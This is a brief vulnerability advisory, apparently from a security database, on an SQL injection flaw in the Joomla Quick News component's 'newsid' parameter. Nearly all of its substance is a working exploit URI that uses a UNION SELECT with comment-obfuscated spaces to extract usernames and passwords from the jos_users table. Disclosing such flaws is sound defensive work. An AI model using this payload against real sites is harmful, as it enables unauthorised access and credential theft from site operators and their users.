|
|
Joomla! Quick News Component 'newsid' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue. The following example URI is available: http://www.example.com/index.php?option=com_quicknews&task=view_item&newsid=33/**/union/**/select/**/1,1,1,1,concat%28username,0x3a,password%29,666,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2/**/from/**/jos_users/* |
|
Privacy Statement |